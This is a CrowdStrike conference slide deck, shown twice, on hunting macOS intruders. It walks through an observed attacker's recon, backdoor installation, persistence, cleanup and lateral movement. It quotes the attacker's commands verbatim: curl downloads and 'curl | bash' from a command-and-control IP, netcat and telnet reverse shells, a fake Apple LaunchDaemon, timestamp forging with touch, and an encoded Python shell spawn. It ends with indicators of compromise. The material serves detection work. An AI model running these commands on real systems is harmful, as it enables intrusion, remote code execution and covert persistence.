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2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
MACDOORED
JARON BRADLEY
`WHOAMI`
§ Incident Responder
§ Hunter
§ Detections Engineer
§ CrowdStrike SCAR Team
§ Author of OS X Incident Response
Scripting and Analysis
2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
MAC BASIC HUNTING OVERVIEW
2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
THE IMPORTANCE OF THE PROCESS TREE
launchd
Sudoers File
Modified
vimjamf bash
launchd
Sudoers File
Modified
vim/var/tmp/a bash
DETECTION/ANALYSIS DIFFICULTIES
§ All the commands an attacker could ever need are on the system
§ Admin and Attacker activity can look like the same thing
§ Backdoors can be written in many different languages
§ Malware sample size incredibly small compared to Windows
ATTACKER TECHNIQUES
§ Mass Recon
§ Backdoor Installation
§ Persistence
§ Cleanup
§ Lateral Movement
RECON
2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
RECON COMMANDS
§ sw_vers
§ /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full
§ dscl . -list /Users
§ Mass ping usage
§ dig
§ Uname
§ dns-sd -B <service>
2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
BACKDOOR INSTALLATION
2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
BACKDOOR INSTALLATION
§ curl -O hxxp://61.78.62.21:8080/Tssd
§ chmod +x Tssd
§ mv /var/tmp/Tssd rutil
§ touch -r r2util rutil
§ ls -la /usr/local/bin/rutil
§ vim /etc/.cache
§ chmod 400 .cache
OTHER BACKDOOR CURLS
§ curl -O hxxp://61.78.62.21:8080/Tssd
§ curl -O hxxp://61.78.62.21:8080/Tss
§ curl -sO hxxp://61.78.62.21:8080/grrs
CURL ALL THE THINGS
§ curl -O hxxp://61.78.62.21:8080/1.txt -o /var/tmp/1.txt
§ curl hxxp://61.78.62.21:8080/5.txt | bash
§ curl hxxp://61.78.62.21:8080/5.txt%20|%20bash
§ curl hxxp://61.78.62.21:8080/5.txt%20|%20bash
§ curl hxxp://61.78.62.21:8080/5.txtx7cbash
§ curl hxxp://61.78.62.21:8080/5.txt%7cbash
§ curl hxxp://61.78.62.21:8080/5.txt || bash
§ curl hxxp://61.78.62.21:8080/x
FAILS
§ nc 61.78.62.21 53 -e /bin/sh
§ nc -e /bin/sh 61.78.62.21 53
§ nc --e /bin/sh 61.78.62.21 53
§ nc --exec /bin/sh 61.78.62.21 53
§ /bin/sh | nc 61.78.62.21 53
§ mknod /tmp/p p && telnet 61.78.62.21 53 0/tmp/p
§ curl -O hxxp://61.78.62.21:8080/nc
PERSISTENCE
STANDARD ASEPS
§ System Integrity Protection level
§ /System/Library/LaunchAgents
§ /System/Library/LaunchDaemons
§ Root Level
§ /Library/LaunchAgents
§ /Library/LaunchDaemons
§ User Level
§ ~/Library/LaunchAgents
§ ~/Library/LaunchDaemons
§ Some schedulers
§ cron
§ periodic
§ Mac malware has not reached the same level of creatively hiding its ASEPS
PERSISTENCE
§ vim com.apple.xsprinter.plist
§ /Library/LaunchDaemons/com.apple.xsprinter.plist
§ launchctl load -w /Library/LaunchDaemons/com.apple.xsprinter.plist
MORE THAN JUST A VERSION CHECK?
§ touch /usr/bin/x
§ rm –rf /usr/bin/x
§ uname -an
§ /usr/sbin/system_profiler -nospawn -xml SPHardwareDataYpe -detailLevel full
§ system_profiler SPHardwareDataYpe
§ system_profiler SPHardwareDataType
§ /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full
PERSISTENCE APPLICATION
§ /System/Library/LaunchDaemons/com.apple.xsprinter.plist
§ touch -r ssh.plist com.apple.xsprinter.plist
§ launchctl load -w /System/Library/LaunchDaemons/com.apple.xsprinter.plist
PERSISTENCE PIGGYBACKING
CLEANUP
HIDING TIMESTAMPS
§ Removal of files
§ Hide access and modification timestamps
§ touch -r r2util rutil
§ touch -r profile .cache
§ touch -r com.cisco.anyconnect.aciseagentd.plist com.apple.xsprinter.plist
§ ssh user@ip -o UserKnownHostsFile=/dev/null
LATERAL MOVEMENT
LATERAL MOVEMENT
§ grep ssh .bash_history
§ cat known_hosts
§ curl -sO hxxp://61.78.62.21:8080/rs
§ ssh -TNfq -Frs
• -T -> Disable pseudo-tty allocation.
• -N -> Do not execute a remote command. This is useful for just forwarding ports (protocol
version 2 only).
• -f -> Requests ssh to go to background just before command execution
• -F -> Specifies an alternative per-user configuration file.
SUDO
PTY|TTY
§ python -c import
base64;exec(base64.b64decode('aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vY
mFzaCcp'));
EXPLOITS IN THE REAL WORLD
STATIC INDICATORS
§ Backdoor
§ 8029e7b12742d67fe13fcd53953e6b03ca4fa09b1d5755f8f8289eac08366efc
§ a5f7b13d0f259277e40e3711070121e451415d7d3a5e68382fc82c2fe3635db1
§ 5b0cc5dd2897e697751b8204d8b74edd66466d651d233c76899c5521a60f6527
§ IPs
§ 61.78.62[.]21 (C2)
§ Backdoor File Names
§ /usr/local/bin/google-updater
§ /usr/local/bin/prl-monitor
§ /usr/local/bin/git-lf
§ /usr/local/sbin/nortonscanner
§ /usr/local/plutil
§ LaunchDaemon File Names
§ /Library/LaunchDaemons/com.apple.xsprinter.plist
§ /System/Library/LaunchDaemons/com.apple.xsprinter.plist
§ Twitter: @jbradley89
§ https://github.com/jbradley89/shakacon-yara
§ Questions?

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Macdoored

  • 1. 2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. MACDOORED JARON BRADLEY
  • 2. `WHOAMI` § Incident Responder § Hunter § Detections Engineer § CrowdStrike SCAR Team § Author of OS X Incident Response Scripting and Analysis 2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
  • 3. MAC BASIC HUNTING OVERVIEW 2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
  • 4. THE IMPORTANCE OF THE PROCESS TREE launchd Sudoers File Modified vimjamf bash launchd Sudoers File Modified vim/var/tmp/a bash
  • 5. DETECTION/ANALYSIS DIFFICULTIES § All the commands an attacker could ever need are on the system § Admin and Attacker activity can look like the same thing § Backdoors can be written in many different languages § Malware sample size incredibly small compared to Windows
  • 6. ATTACKER TECHNIQUES § Mass Recon § Backdoor Installation § Persistence § Cleanup § Lateral Movement
  • 7. RECON 2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
  • 8. RECON COMMANDS § sw_vers § /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full § dscl . -list /Users § Mass ping usage § dig § Uname § dns-sd -B <service> 2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
  • 9. BACKDOOR INSTALLATION 2018 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
  • 10. BACKDOOR INSTALLATION § curl -O hxxp://61.78.62.21:8080/Tssd § chmod +x Tssd § mv /var/tmp/Tssd rutil § touch -r r2util rutil § ls -la /usr/local/bin/rutil § vim /etc/.cache § chmod 400 .cache
  • 11. OTHER BACKDOOR CURLS § curl -O hxxp://61.78.62.21:8080/Tssd § curl -O hxxp://61.78.62.21:8080/Tss § curl -sO hxxp://61.78.62.21:8080/grrs
  • 12.
  • 13. CURL ALL THE THINGS § curl -O hxxp://61.78.62.21:8080/1.txt -o /var/tmp/1.txt § curl hxxp://61.78.62.21:8080/5.txt | bash § curl hxxp://61.78.62.21:8080/5.txt%20|%20bash § curl hxxp://61.78.62.21:8080/5.txt%20|%20bash § curl hxxp://61.78.62.21:8080/5.txtx7cbash § curl hxxp://61.78.62.21:8080/5.txt%7cbash § curl hxxp://61.78.62.21:8080/5.txt || bash § curl hxxp://61.78.62.21:8080/x
  • 14. FAILS § nc 61.78.62.21 53 -e /bin/sh § nc -e /bin/sh 61.78.62.21 53 § nc --e /bin/sh 61.78.62.21 53 § nc --exec /bin/sh 61.78.62.21 53 § /bin/sh | nc 61.78.62.21 53 § mknod /tmp/p p && telnet 61.78.62.21 53 0/tmp/p § curl -O hxxp://61.78.62.21:8080/nc
  • 15.
  • 17. STANDARD ASEPS § System Integrity Protection level § /System/Library/LaunchAgents § /System/Library/LaunchDaemons § Root Level § /Library/LaunchAgents § /Library/LaunchDaemons § User Level § ~/Library/LaunchAgents § ~/Library/LaunchDaemons § Some schedulers § cron § periodic § Mac malware has not reached the same level of creatively hiding its ASEPS
  • 18. PERSISTENCE § vim com.apple.xsprinter.plist § /Library/LaunchDaemons/com.apple.xsprinter.plist § launchctl load -w /Library/LaunchDaemons/com.apple.xsprinter.plist
  • 19. MORE THAN JUST A VERSION CHECK? § touch /usr/bin/x § rm –rf /usr/bin/x § uname -an § /usr/sbin/system_profiler -nospawn -xml SPHardwareDataYpe -detailLevel full § system_profiler SPHardwareDataYpe § system_profiler SPHardwareDataType § /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full
  • 20. PERSISTENCE APPLICATION § /System/Library/LaunchDaemons/com.apple.xsprinter.plist § touch -r ssh.plist com.apple.xsprinter.plist § launchctl load -w /System/Library/LaunchDaemons/com.apple.xsprinter.plist
  • 23. HIDING TIMESTAMPS § Removal of files § Hide access and modification timestamps § touch -r r2util rutil § touch -r profile .cache § touch -r com.cisco.anyconnect.aciseagentd.plist com.apple.xsprinter.plist § ssh user@ip -o UserKnownHostsFile=/dev/null
  • 25. LATERAL MOVEMENT § grep ssh .bash_history § cat known_hosts § curl -sO hxxp://61.78.62.21:8080/rs § ssh -TNfq -Frs • -T -> Disable pseudo-tty allocation. • -N -> Do not execute a remote command. This is useful for just forwarding ports (protocol version 2 only). • -f -> Requests ssh to go to background just before command execution • -F -> Specifies an alternative per-user configuration file.
  • 26. SUDO
  • 27. PTY|TTY § python -c import base64;exec(base64.b64decode('aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vY mFzaCcp'));
  • 28. EXPLOITS IN THE REAL WORLD
  • 29.
  • 30. STATIC INDICATORS § Backdoor § 8029e7b12742d67fe13fcd53953e6b03ca4fa09b1d5755f8f8289eac08366efc § a5f7b13d0f259277e40e3711070121e451415d7d3a5e68382fc82c2fe3635db1 § 5b0cc5dd2897e697751b8204d8b74edd66466d651d233c76899c5521a60f6527 § IPs § 61.78.62[.]21 (C2) § Backdoor File Names § /usr/local/bin/google-updater § /usr/local/bin/prl-monitor § /usr/local/bin/git-lf § /usr/local/sbin/nortonscanner § /usr/local/plutil § LaunchDaemon File Names § /Library/LaunchDaemons/com.apple.xsprinter.plist § /System/Library/LaunchDaemons/com.apple.xsprinter.plist
  • 31. § Twitter: @jbradley89 § https://github.com/jbradley89/shakacon-yara § Questions?